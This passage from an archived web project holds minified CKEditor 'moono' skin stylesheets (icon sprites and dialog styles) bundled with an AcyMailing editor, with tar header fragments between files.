!important;}.cke_hidpi .cke_ltr .cke_button__copy_icon,.cke_ltr.cke_hidpi .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -192px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__cut_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -216px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__cut_icon,.cke_ltr.cke_hidpi .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -240px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__paste_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -264px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__paste_icon,.cke_ltr.cke_hidpi .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -288px !important;background-size: 16px !important;}.cke_hidpi .cke_button__bgcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -312px !important;background-size: 16px !important;}.cke_hidpi .cke_button__textcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -336px !important;background-size: 16px !important;}.cke_hidpi .cke_button__horizontalrule_icon {background: url(icons_hidpi.png) no-repeat 0 -360px !important;background-size: 16px !important;}.cke_hidpi .cke_button__image_icon {background: url(icons_hidpi.png) no-repeat 0 -384px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__indent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -408px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__indent_icon,.cke_ltr.cke_hidpi .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -432px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__outdent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -456px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__outdent_icon,.cke_ltr.cke_hidpi .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -480px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyblock_icon {background: url(icons_hidpi.png) no-repeat 0 -504px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifycenter_icon {background: url(icons_hidpi.png) no-repeat 0 -528px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyleft_icon {background: url(icons_hidpi.png) no-repeat 0 -552px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyright_icon {background: url(icons_hidpi.png) no-repeat 0 -576px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__anchor_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -600px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__anchor_icon,.cke_ltr.cke_hidpi .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -624px !important;background-size: 16px !important;}.cke_hidpi .cke_button__link_icon {background: url(icons_hidpi.png) no-repeat 0 -648px !important;background-size: 16px !important;}.cke_hidpi .cke_button__unlink_icon {background: url(icons_hidpi.png) no-repeat 0 -672px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__bulletedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -696px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__bulletedlist_icon,.cke_ltr.cke_hidpi .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -720px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__numberedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -744px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__numberedlist_icon,.cke_ltr.cke_hidpi .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -768px !important;background-size: 16px !important;}.cke_hidpi .cke_button__maximize_icon {background: url(icons_hidpi.png) no-repeat 0 -792px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastefromword_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -816px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastefromword_icon,.cke_ltr.cke_hidpi .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -840px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastetext_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -864px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastetext_icon,.cke_ltr.cke_hidpi .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -888px !important;background-size: 16px !important;}.cke_hidpi .cke_button__removeformat_icon {background: url(icons_hidpi.png) no-repeat 0 -912px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__source_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -936px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__source_icon,.cke_ltr.cke_hidpi .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -960px !important;background-size: 16px !important;}.cke_hidpi .cke_button__table_icon {background: url(icons_hidpi.png) no-repeat 0 -984px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__redo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1008px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__redo_icon,.cke_ltr.cke_hidpi .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1032px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__undo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1056px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__undo_icon,.cke_ltr.cke_hidpi .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1080px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__sourcedialog_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1104px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__sourcedialog_icon,.cke_ltr.cke_hidpi .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1128px !important;background-size: 16px !important;}                                                                                                                                                                                                                                                                 editors/acyeditor/acyeditor/ckeditor/skins/moono/dialog_ie7.css                                     0000705                 00000041772 15242051521 0020770 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
.cke_dialog{visibility:visible}.cke_dialog_body{z-index:1;background:#eaeaea;border:1px solid #b2b2b2;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_dialog strong{font-weight:bold}.cke_dialog_title{font-weight:bold;font-size:13px;cursor:move;position:relative;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #999;padding:6px 10px;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_dialog_contents{background-color:#fff;overflow:auto;padding:15px 10px 5px 10px;margin-top:30px;border-top:1px solid #bfbfbf;-moz-border-radius:0 0 3px 3px;-webkit-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px}.cke_dialog_contents_body{overflow:auto;padding:17px 10px 5px 10px;margin-top:22px}.cke_dialog_footer{text-align:right;position:relative;border:0;outline:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;-moz-border-radius:0 0 2px 2px;-webkit-border-radius:0 0 2px 2px;border-radius:0 0 2px 2px;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_rtl .cke_dialog_footer{text-align:left}.cke_hc .cke_dialog_footer{outline:0;border-top:1px solid #fff}.cke_dialog .cke_resizer{margin-top:22px}.cke_dialog .cke_resizer_rtl{margin-left:5px}.cke_dialog .cke_resizer_ltr{margin-right:5px}.cke_dialog_tabs{height:24px;display:inline-block;margin:5px 0 0;position:absolute;z-index:2;left:10px}.cke_rtl .cke_dialog_tabs{right:10px}a.cke_dialog_tab{height:16px;padding:4px 8px;margin-right:3px;display:inline-block;cursor:pointer;line-height:16px;outline:0;color:#595959;border:1px solid #bfbfbf;-moz-border-radius:3px 3px 0 0;-webkit-border-radius:3px 3px 0 0;border-radius:3px 3px 0 0;background:#d4d4d4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fafafa),to(#ededed));background-image:-moz-linear-gradient(top,#fafafa,#ededed);background-image:-webkit-linear-gradient(top,#fafafa,#ededed);background-image:-o-linear-gradient(top,#fafafa,#ededed);background-image:-ms-linear-gradient(top,#fafafa,#ededed);background-image:linear-gradient(top,#fafafa,#ededed);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#fafafa',endColorstr='#ededed')}.cke_rtl a.cke_dialog_tab{margin-right:0;margin-left:3px}a.cke_dialog_tab:hover{background:#ebebeb;background:-moz-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ebebeb),color-stop(100%,#dfdfdf));background:-webkit-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-o-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-ms-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:linear-gradient(to bottom,#ebebeb 0,#dfdfdf 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ebebeb',endColorstr='#dfdfdf',GradientType=0)}a.cke_dialog_tab_selected{background:#fff;color:#383838;border-bottom-color:#fff;cursor:default;filter:none}a.cke_dialog_tab_selected:hover{background:#ededed;background:-moz-linear-gradient(top,#ededed 0,#fff 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ededed),color-stop(100%,#fff));background:-webkit-linear-gradient(top,#ededed 0,#fff 100%);background:-o-linear-gradient(top,#ededed 0,#fff 100%);background:-ms-linear-gradient(top,#ededed 0,#fff 100%);background:linear-gradient(to bottom,#ededed 0,#fff 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ededed',endColorstr='#ffffff',GradientType=0)}.cke_hc a.cke_dialog_tab:hover,.cke_hc a.cke_dialog_tab_selected{border:3px solid;padding:2px 6px}a.cke_dialog_tab_disabled{color:#bababa;cursor:default}.cke_single_page .cke_dialog_tabs{display:none}.cke_single_page .cke_dialog_contents{padding-top:5px;margin-top:0;border-top:0}.cke_dialog_close_button{background-image:url(images/close.png);background-repeat:no-repeat;background-position:50%;position:absolute;cursor:pointer;text-align:center;height:20px;width:20px;top:5px;z-index:5;opacity:.8;filter:alpha(opacity = 80)}.cke_dialog_close_button:hover{opacity:1;filter:alpha(opacity = 100)}.cke_hidpi .cke_dialog_close_button{background-image:url(images/hidpi/close.png);background-size:16px}.cke_dialog_close_button span{display:none}.cke_hc .cke_dialog_close_button span{display:inline;cursor:pointer;font-weight:bold;position:relative;top:3px}.cke_ltr .cke_dialog_close_button{right:5px}.cke_rtl .cke_dialog_close_button{left:6px}.cke_dialog_close_button{top:4px}div.cke_disabled .cke_dialog_ui_labeled_content div *{background-color:#ddd;cursor:default}.cke_dialog_ui_vbox table,.cke_dialog_ui_hbox table{margin:auto}.cke_dialog_ui_vbox_child{padding:5px 0}.cke_dialog_ui_hbox{width:100%}.cke_dialog_ui_hbox_first,.cke_dialog_ui_hbox_child,.cke_dialog_ui_hbox_last{vertical-align:top}.cke_ltr .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_ui_hbox_child{padding-right:10px}.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_child{padding-left:10px}.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-right:5px}.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-left:5px;padding-right:0}.cke_hc div.cke_dialog_ui_input_text,.cke_hc div.cke_dialog_ui_input_password,.cke_hc div.cke_dialog_ui_input_textarea,.cke_hc div.cke_dialog_ui_input_select,.cke_hc div.cke_dialog_ui_input_file{border:1px solid}textarea.cke_dialog_ui_input_textarea{overflow:auto;resize:none}input.cke_dialog_ui_input_text,input.cke_dialog_ui_input_password,textarea.cke_dialog_ui_input_textarea{background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:4px 6px;outline:0;width:100%;*width:95%;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}input.cke_dialog_ui_input_text:hover,input.cke_dialog_ui_input_password:hover,textarea.cke_dialog_ui_input_textarea:hover{border:1px solid #aeb3b9;border-top-color:#a0a6ad}input.cke_dialog_ui_input_text:focus,input.cke_dialog_ui_input_password:focus,textarea.cke_dialog_ui_input_textarea:focus,select.cke_dialog_ui_input_select:focus{outline:0;border:1px solid #139ff7;border-top-color:#1392e9}a.cke_dialog_ui_button{display:inline-block;*display:inline;*zoom:1;padding:4px 0;margin:0;text-align:center;color:#333;vertical-align:middle;cursor:pointer;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}span.cke_dialog_ui_button{padding:0 10px}a.cke_dialog_ui_button:hover{border-color:#9e9e9e;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}a.cke_dialog_ui_button:focus,a.cke_dialog_ui_button:active{border-color:#969696;outline:0;-moz-box-shadow:0 0 6px rgba(0,0,0,.4) inset;-webkit-box-shadow:0 0 6px rgba(0,0,0,.4) inset;box-shadow:0 0 6px rgba(0,0,0,.4) inset}.cke_hc a.cke_dialog_ui_button:hover,.cke_hc a.cke_dialog_ui_button:focus,.cke_hc a.cke_dialog_ui_button:active{border:3px solid;padding-top:1px;padding-bottom:1px}.cke_hc a.cke_dialog_ui_button:hover span,.cke_hc a.cke_dialog_ui_button:focus span,.cke_hc a.cke_dialog_ui_button:active span{padding-left:10px;padding-right:10px}.cke_dialog_footer_buttons a.cke_dialog_ui_button span{color:inherit;font-size:12px;font-weight:bold;line-height:18px;padding:0 12px}a.cke_dialog_ui_button_ok{color:#fff;text-shadow:0 -1px 0 #55830c;border-color:#62a60a #62a60a #4d9200;background:#69b10b;background-image:-webkit-gradient(linear,0 0,0 100%,from(#9ad717),to(#69b10b));background-image:-webkit-linear-gradient(top,#9ad717,#69b10b);background-image:-o-linear-gradient(top,#9ad717,#69b10b);background-image:linear-gradient(to bottom,#9ad717,#69b10b);background-image:-moz-linear-gradient(top,#9ad717,#69b10b);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#9ad717',endColorstr='#69b10b')}a.cke_dialog_ui_button_ok:hover{border-color:#5b9909 #5b9909 #478500;background:#88be14;background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#88be14),color-stop(100%,#5d9c0a));background:-webkit-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:-o-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:linear-gradient(to bottom,#88be14 0,#5d9c0a 100%);background:-moz-linear-gradient(top,#88be14 0,#5d9c0a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#88be14',endColorstr='#5d9c0a',GradientType=0)}a.cke_dialog_ui_button span{text-shadow:0 1px 0 #fff}a.cke_dialog_ui_button_ok span{text-shadow:0 -1px 0 #55830c}span.cke_dialog_ui_button{cursor:pointer}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active,a.cke_dialog_ui_button_cancel:focus,a.cke_dialog_ui_button_cancel:active{border-width:2px;padding:3px 0}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active{border-color:#568c0a}a.cke_dialog_ui_button_ok:focus span,a.cke_dialog_ui_button_ok:active span,a.cke_dialog_ui_button_cancel:focus span,a.cke_dialog_ui_button_cancel:active span{padding:0 11px}.cke_dialog_footer_buttons{display:inline-table;margin:5px;width:auto;position:relative;vertical-align:middle}div.cke_dialog_ui_input_select{display:table}select.cke_dialog_ui_input_select{height:25px;line-height:25px;background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:3px 3px 3px 6px;outline:0;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}.cke_dialog_ui_input_file{width:100%;height:25px}.cke_hc .cke_dialog_ui_labeled_content input:focus,.cke_hc .cke_dialog_ui_labeled_content select:focus,.cke_hc .cke_dialog_ui_labeled_content textarea:focus{outline:1px dotted}.cke_dialog .cke_dark_background{background-color:#dedede}.cke_dialog .cke_light_background{background-color:#ebebeb}.cke_dialog .cke_centered{text-align:center}.cke_dialog a.cke_btn_reset{float:right;background:url(images/refresh.png) top left no-repeat;width:16px;height:16px;border:1px none;font-size:1px}.cke_hidpi .cke_dialog a.cke_btn_reset{background-size:16px;background-image:url(images/hidpi/refresh.png)}.cke_rtl .cke_dialog a.cke_btn_reset{float:left}.cke_dialog a.cke_btn_locked,.cke_dialog a.cke_btn_unlocked{float:left;width:16px;height:16px;background-repeat:no-repeat;border:none 1px;font-size:1px}.cke_dialog a.cke_btn_locked .cke_icon{display:none}.cke_rtl .cke_dialog a.cke_btn_locked,.cke_rtl .cke_dialog a.cke_btn_unlocked{float:right}.cke_dialog a.cke_btn_locked{background-image:url(images/lock.png)}.cke_dialog a.cke_btn_unlocked{background-image:url(images/lock-open.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked,.cke_hidpi .cke_dialog a.cke_btn_locked{background-size:16px}.cke_hidpi .cke_dialog a.cke_btn_locked{background-image:url(images/hidpi/lock.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked{background-image:url(images/hidpi/lock-open.png)}.cke_dialog .cke_btn_over{border:outset 1px;cursor:pointer}.cke_dialog .ImagePreviewBox{border:2px ridge black;overflow:scroll;height:200px;width:300px;padding:2px;background-color:white}.cke_dialog .ImagePreviewBox table td{white-space:normal}.cke_dialog .ImagePreviewLoader{position:absolute;white-space:normal;overflow:hidden;height:160px;width:230px;margin:2px;padding:2px;opacity:.9;filter:alpha(opacity = 90);background-color:#e4e4e4}.cke_dialog .FlashPreviewBox{white-space:normal;border:2px ridge black;overflow:auto;height:160px;width:390px;padding:2px;background-color:white}.cke_dialog .cke_pastetext{width:346px;height:170px}.cke_dialog .cke_pastetext textarea{width:340px;height:170px;resize:none}.cke_dialog iframe.cke_pasteframe{width:346px;height:130px;background-color:white;border:1px solid #aeb3b9;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.cke_dialog .cke_hand{cursor:pointer}.cke_disabled{color:#a0a0a0}.cke_dialog_body .cke_label{display:none}.cke_dialog_body label{display:inline;margin-bottom:auto;cursor:default}.cke_dialog_body label.cke_required{font-weight:bold}a.cke_smile{overflow:hidden;display:block;text-align:center;padding:.3em 0}a.cke_smile img{vertical-align:middle}a.cke_specialchar{cursor:inherit;display:block;height:1.25em;padding:.2em .3em;text-align:center}a.cke_smile,a.cke_specialchar{border:1px solid transparent}a.cke_smile:hover,a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:hover,a.cke_specialchar:focus,a.cke_specialchar:active{background:#fff;outline:0}a.cke_smile:hover,a.cke_specialchar:hover{border-color:#888}a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:focus,a.cke_specialchar:active{border-color:#139ff7}.cke_dialog_contents a.colorChooser{display:block;margin-top:6px;margin-left:10px;width:80px}.cke_rtl .cke_dialog_contents a.colorChooser{margin-right:10px}.cke_dialog_ui_checkbox_input:focus,.cke_dialog_ui_radio_input:focus,.cke_btn_over{outline:1px dotted #696969}.cke_iframe_shim{display:block;position:absolute;top:0;left:0;z-index:-1;filter:alpha(opacity = 0);width:100%;height:100%}.cke_rtl input.cke_dialog_ui_input_text,.cke_rtl input.cke_dialog_ui_input_password{padding-right:2px}.cke_rtl div.cke_dialog_ui_input_text,.cke_rtl div.cke_dialog_ui_input_password{padding-left:2px}.cke_rtl div.cke_dialog_ui_input_text{padding-right:1px}.cke_rtl .cke_dialog_ui_vbox_child,.cke_rtl .cke_dialog_ui_hbox_child,.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_last{padding-right:2px!important}.cke_hc .cke_dialog_title,.cke_hc .cke_dialog_footer,.cke_hc a.cke_dialog_tab,.cke_hc a.cke_dialog_ui_button,.cke_hc a.cke_dialog_ui_button:hover,.cke_hc a.cke_dialog_ui_button_ok,.cke_hc a.cke_dialog_ui_button_ok:hover{filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.cke_hc div.cke_dialog_ui_input_text,.cke_hc div.cke_dialog_ui_input_password,.cke_hc div.cke_dialog_ui_input_textarea,.cke_hc div.cke_dialog_ui_input_select,.cke_hc div.cke_dialog_ui_input_file{border:0}.cke_dialog_title{zoom:1}.cke_dialog_footer{border-top:1px solid #bfbfbf}.cke_dialog_footer_buttons{position:static}.cke_dialog_footer_buttons a.cke_dialog_ui_button{vertical-align:top}.cke_dialog .cke_resizer_ltr{padding-left:4px}.cke_dialog .cke_resizer_rtl{padding-right:4px}.cke_dialog_ui_input_text,.cke_dialog_ui_input_password,.cke_dialog_ui_input_textarea,.cke_dialog_ui_input_select{padding:0!important}.cke_dialog_ui_checkbox_input,.cke_dialog_ui_ratio_input,.cke_btn_reset,.cke_btn_locked,.cke_btn_unlocked{border:1px solid transparent!important}      editors/acyeditor/acyeditor/ckeditor/skins/moono/dialog.css                                         0000705                 00000037076 15242051521 0020226 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
.cke_dialog{visibility:visible}.cke_dialog_body{z-index:1;background:#eaeaea;border:1px solid #b2b2b2;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_dialog strong{font-weight:bold}.cke_dialog_title{font-weight:bold;font-size:13px;cursor:move;position:relative;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #999;padding:6px 10px;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_dialog_contents{background-color:#fff;overflow:auto;padding:15px 10px 5px 10px;margin-top:30px;border-top:1px solid #bfbfbf;-moz-border-radius:0 0 3px 3px;-webkit-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px}.cke_dialog_contents_body{overflow:auto;padding:17px 10px 5px 10px;margin-top:22px}.cke_dialog_footer{text-align:right;position:relative;border:0;outline:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;-moz-border-radius:0 0 2px 2px;-webkit-border-radius:0 0 2px 2px;border-radius:0 0 2px 2px;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_rtl .cke_dialog_footer{text-align:left}.cke_hc .cke_dialog_footer{outline:0;border-top:1px solid #fff}.cke_dialog .cke_resizer{margin-top:22px}.cke_dialog .cke_resizer_rtl{margin-left:5px}.cke_dialog .cke_resizer_ltr{margin-right:5px}.cke_dialog_tabs{height:24px;display:inline-block;margin:5px 0 0;position:absolute;z-index:2;left:10px}.cke_rtl .cke_dialog_tabs{right:10px}a.cke_dialog_tab{height:16px;padding:4px 8px;margin-right:3px;display:inline-block;cursor:pointer;line-height:16px;outline:0;color:#595959;border:1px solid #bfbfbf;-moz-border-radius:3px 3px 0 0;-webkit-border-radius:3px 3px 0 0;border-radius:3px 3px 0 0;background:#d4d4d4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fafafa),to(#ededed));background-image:-moz-linear-gradient(top,#fafafa,#ededed);background-image:-webkit-linear-gradient(top,#fafafa,#ededed);background-image:-o-linear-gradient(top,#fafafa,#ededed);background-image:-ms-linear-gradient(top,#fafafa,#ededed);background-image:linear-gradient(top,#fafafa,#ededed);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#fafafa',endColorstr='#ededed')}.cke_rtl a.cke_dialog_tab{margin-right:0;margin-left:3px}a.cke_dialog_tab:hover{background:#ebebeb;background:-moz-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-webkit-gradient(linear,left top,left 